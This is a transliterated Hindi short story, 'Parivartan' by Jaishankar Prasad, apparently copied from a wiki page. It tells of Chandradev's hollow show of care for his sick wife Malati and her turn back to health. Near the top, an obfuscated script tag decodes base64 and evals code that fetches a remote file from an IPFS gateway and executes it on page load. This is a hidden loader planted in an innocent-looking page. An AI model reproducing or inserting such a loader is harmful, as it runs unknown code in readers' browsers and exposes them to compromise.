परिवर्तन -जयशंकर प्रसाद

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

chandradev ne ek din is janakirn sansar mean apane ko akasmath hi samaj ke lie atyant avashyak manushy samajh liya aur samaj bhi usaki avashyakata ka anubhav karane laga. chhote-se upanagar mean, prayag vishvavidyalay se lautakar, jab usane apani jnan-garima ka prabhav, vahaan ke sidhe-sade nivasiyoan par dala, to log ashchary-chakit hokar sambhram se usaki or dekhane lage, jaise koee jauhari hira-panna parakhata ho. usaki tho di-si sampatti, bisatakhane ki dookan aur rupayoan ka len-den, aur usaka sharirik gathan saundary ka sahayak ban gaya tha.

kuchh log to ashchary karate the ki vah kahian ka jaj aur kalektar n hokar yah chhoti-si dukanadari kyoan chala raha hai, kintu batoan mean chandradev svatantr vyavasay ki prashansa ke pul baandh deta aur naukari ki narak se upama de deta, tab usaki kartavy-parayanata ka vastavik mooly logoan ki samajh mean a jata.

yah to huee bahar ki bat. bhitar apane ant:karan mean chandradev is bat ko achchhi tarah tol chuka tha ki jaj-kalektar to kya, vah kahian ‘kirani’ hone ki bhi kshamata nahian rakhata tha. tab tho da-sa vinay aur tyag ka yash lete hue sansar ke sahaj-labdh sukh ko vah kyoan chho d de? adhyapakoan ke rate hue vyakhyan usake kanoan mean abhi gooanj rahe the. pavitrata, malinata, puny aur pap usake lie gambhir prashn n the. vah tarkoan ke bal par unase nity khilava d kiya karata aur bhitar ghar mean jo ek sundari stri thi, usake prati apane sampoorn asantosh ko darshanik vatavaran mean dhankakar nirmal vairagy ki, sansar se nirlipt rahane ki charcha bhi un bhole-bhale sahayogiyoan mean kiya hi karata.

chandradev ki is prakriti se oobakar usaki patni malati pray: apani maan ke pas adhik rahane lagi; kintu jab lautakar ati, to grihasthi mean usi kritrim vairagy ka abhinay use khala karata. chandradev gyarah baje tak dookan ka kam dekhakar, gap l dakar, upadesh dekar aur vyakhyan sunakar jab ghar mean ata, tab ek b di dayaniy paristhiti utpann hokar us sadharanat: saje hue malati ke kamare ko aur bhi malin bana deti. phir to malati muanh dhankakar aansoo girane ke atirikt aur kar hi kya sakati thi? yadyapi chandradev ka bahy acharan usake charitr ke sambandh mean sashank hone ka kisi ko avasar nahian deta tha, tathapi malati apani chadar se dhanke hue andhakar mean apani saut ki kalpana karane ke lie svatantr thi hi.

vah dhire-dhire rugna ho gayi.

bhag 2

ek din chandradev ke pas baithane valoan ne suna ki vah kahian bahar janevala hai. doosare din chandradev ki stri-bhakti ki charcha chhi di. sab log kahane lage-‘‘chandradev kitana udar, sahriday vyakti hai. stri ke svasthy ke lie kaun itana rupaya kharch karake paha d jata hai. kam-se-kam ... nagar mean to koee bhi nahian.’’

chandradev ne bahut gambhirata se mitroan mean kaha-‘‘bhaee, kya karooan, malati ko jab yakshma ho gaya hai, tab to paha d liva jana anivary hai. rupaya-paisa to ata-jata rahega.’’ sab logoan ne isaka samarthan kiya.

chandradev paha d chalane ko prastut hua. vivash hokar malati ko bhi jana hi p da. lok-laj bhi to kuchh hai. aur jab ki sammanapoorvak pati apana kartavy palan kar raha ho to stri asvikar kaise kar sakati?

is ekant mean jab ki pati aur patni donoan hi ek-doosare ke samane chaubisoan ghante rahane lage, tab avaran ka vyapar adhik nahian chal sakata tha. badhy hokar chandradev ko sahayata-tatpar banana p da. sahayata mean tatpar hona samajik prani ka janm-siddh svabhav, sambhavat: manushyata ka poorn nidarshan hai. parantu chandradev ke pas to doosara upay hi nahian tha; isalie sahayata ka bahy pradarshan dhire-dhire vastavik hone laga.

ek din malati chi d ke vriksh ki chhaya mean baithi huee badaloan ki dau d-dhoop dekh rahi thi aur man-hi-man vichar kar rahi thi chandradev ke seva-abhinay par. sahasa usaka ji bhar aya. vah paha di rangin sandhya ki tarah kisi manasik vedana se lal-pili ho uthi. use apane oopar krodh aya. usi samay chandradev ne jo usase kuchh door baitha tha, pukar kar kaha-‘‘malati, ab chalo n! thak gayi ho n!’’

‘‘vahian samane to pahuanchana hai, tumhean jaldi ho to chale jao, ‘booti’ ko bhej do, maian usake sath chali aooangi.’’

‘‘achchha’’, kahakar chandradev ajnakari anuchar ki tarah chala. vah tanik bhi virodh karake apane sneh-pradarshan mean kami karana nahian chahata tha. malati avichal baithi rahi. tho di der mean booti ayi; parantu malati ko usake ane mean vilamb samajh p da. vah isake pahale bhi pahuanch sakati thi. malati ke lie paha di yuvati booti, paricharika ke roop mean rakh li gee thi. yah nati-si gol-matol stri geand ki tarah uchhalati chalati thi. bat-bat par hansati aur phir us hansi ko chhipane ka prayatn karati rahati. booti ne kaha-

‘‘chalie, ab to kiranean doob rahi haian, aur mujhe bhi kam nipatakar chhutti par jana hai.’’

‘‘chhutti!’’ ashchary se jhallakar malati ne kaha.

‘‘haan, ab maian kam n karooangi!’’

‘‘kyoan? tujhe kya ho gaya booti!’’

‘‘mera byah isi mahine mean ho jayaga.’’-kahate hue us svatantr yuvati ne hans diya. ‘van ki harini apane ap jal mean phansane kyoan ja rahi hai?’ malati ko ashchary hua. usane chalate-chalate poochha-‘‘bhala, tujhe doolha kahaan mil gaya?’’

‘‘oho, tab ap kya janean ki ham logoan ke byah ki bat pakki hue ath baras ho gaye? niladhar chala gaya tha, lakhanoo kamane, aur maianne bhi har sal yahian naukari karake kuchh-n-kuchh yahi paanch sau rupaye bacha lie haian. ab vah bhi ek hazar aur gahane lekar parasoan pahuanch jayaga. phir ham log ooanche paha d par apane gaanv mean chale jayange. vahian ham logoan ka ghar basega. kheti kar looangi. bal-bachchoan ke lie bhi to kuchh chahie. phir chahie budhape ke lie , jo in paha doan mean kashtapoorn jivan-yatra ke lie atyant avashyak hai.’’

vah prasannata se batean karati, uchhalati huee chali ja rahi thi aur malati haanphane lagi thi. malati ne kaha-‘‘to kyoan dau di ja rahi hai? abhi hi tera doolha nahian mila ja raha hai.’’

bhag 3

kamare mean donoan or palang bichhe the. machchharadani mean do vyakti sone ka abhinay kar rahe the. chandradev soch rahe the-‘yah booti! apani kamaee se ghar basane ja rahi hai. kitana pragadh prem in donoan mean hoga? aur malati! bina kuchh hath-pair hilaye-dulaye apani sampoorn shakti se nishkriy pratirodh karati huee, sukhabhog karane par bhi asantusht!’ chandradev tha tarkik. vah sochane laga, ‘tab kya mujhe ise prasann karane ki cheshta chho d deni chahie? mare chahe jiye! maianne kya nahian kiya isake lie, phir bhi bhauanhean chadhi hi rahean, to maian kya karooan? mujhe kya milata hai is hridayahin bojh ko dhone se! bas, ab maian ghar chalooanga. phir-malati ke .... bad ek doosari stri. are! vah kitani ajnakarini-kintu kya yah mar jayagi! manushy kitana svarthi hai. phir maian hi kyoan nahian mar jaooan. kintu pahale kaun mare? mere mar jane par vah jiti rahegi. isake lie log kitane tarah ke kalank, kitani buraee ki batean socheange. aur yahi jane kya kar baithe! tab ise to lajjit hona hi p dega. mujhe bhi svarg mean kitana apaman bhogana p dega! malati ke marane par lokapavad se mukt maian doosara byah karooanga. aur pativrata malati svarg mean bhi meri shubh-kamana karegi. to phir yahi thik raha. man ki raksha ke lie log kitane b de-b de balidan kar chuke haian. kya maian unaka anukaran nahian kar sakata! malati samman ki vedi par bali chadhe. vahi-pahale mare-phir dekha jayaga! ram ki tarah ek patnivrat kar sakooanga, to kar looanga, nahian to uanhooan-’

chandradev ki khuli aankhoan ke samane machchharadani ke jalidar kap de par ek chitr khiancha-ek yuvati muskarati huee chay ki pyali badha rahi hai. chandradev ne n pine ki soochana pahale hi de di thi. phir bhi usake anunay mean b di taravat thi. us yuvati ke rom-rom kahate the, ‘le lo!’

chandradev yah svapn dekhakar nishchint so gaya. usane apane banavati upachar ka-seva-bhav ka ant kar liya tha.

doosari machchharadani mean thaki huee malati thi. sone ke pahale use apane hi oopar rosh a gaya tha-‘vah kyoan n aisi huee ki chandradev usake charanoan mean lotata, usake man ko, usake pranayarosh ko dhire-dhire sahalaya karata! tab kya vaisi hone ki cheshta kare; kintu ab karake kya hoga? jab yauvan ka ullas tha, kusum mean makarand tha, chaandani par megh ki chhaya n thi, tab n kar saki, to ab kya? booti sadharan majoori karake svasth, sundar, akarshan aur adar ki patr ban sakati hai. usaka yauvan dhalavean path ki or muanh kiye hai, phir bhi usamean kitana ullas hai!

‘yah atm-vishvas! yahi to jivan hai; kintu, kya maian pa sakati hooan! kya mere aang phir se gudagude ho jayeange. lali dau d avegi? hriday mean uchchhriankhal ullas, hansi se bhara anand nachane lagega?’ usane ek bar apane durbal hathoan ko uthakar dekha ki choodiy़aan kalaee se bahut niche khisak ayi thian. sahasa use smaran hua ki vah booti se abhi do baras chhoti hai. do baras mean vah svasth, sundar, hrisht-pusht aur hansamukh ho sakati hai, hokar rahegi. vah maregi nahian. na, kabhi nahian, chandradev ko doosare ka n hone degi. vichar karate-karate phir so gayi.

savere donoan machchharadaniyaan uthian. chandradev ne malati ko dekha-vah prasann thi. usake kapolo ka rang badal gaya tha. use bhram hua, ‘kya?’ usane aankhean michamichakar phir dekha! is kriya par malati hans p di. chandradev jhallakar uth baitha. vah kahana chahata tha ki ‘‘maian chalana chahata hooan. rupaye ka abhav hai! kab tak yahaan paha d par p da rahooanga? tumhara achchha hona asambhav hai. majoorani bhi chho dakar chali gayi. aur bhi anek asuvidhaean haian. maian to chalooanga.’’

parantu vah kah n paya. kuchh soch raha tha. nishthur prahar karane mean hichak raha tha. sahasa malati pas chali ayi. machchharadani uthakar muskarati huee boli-‘‘chalo, ghar chalean! ab to maian achchhi hooan?’’

chandradev ne ashchary se dekha ki-malati durbal hai-kintu rog ke lakshan nahian rahe. usake aang-aang par svabhavik rang prasannata banakar khel raha tha!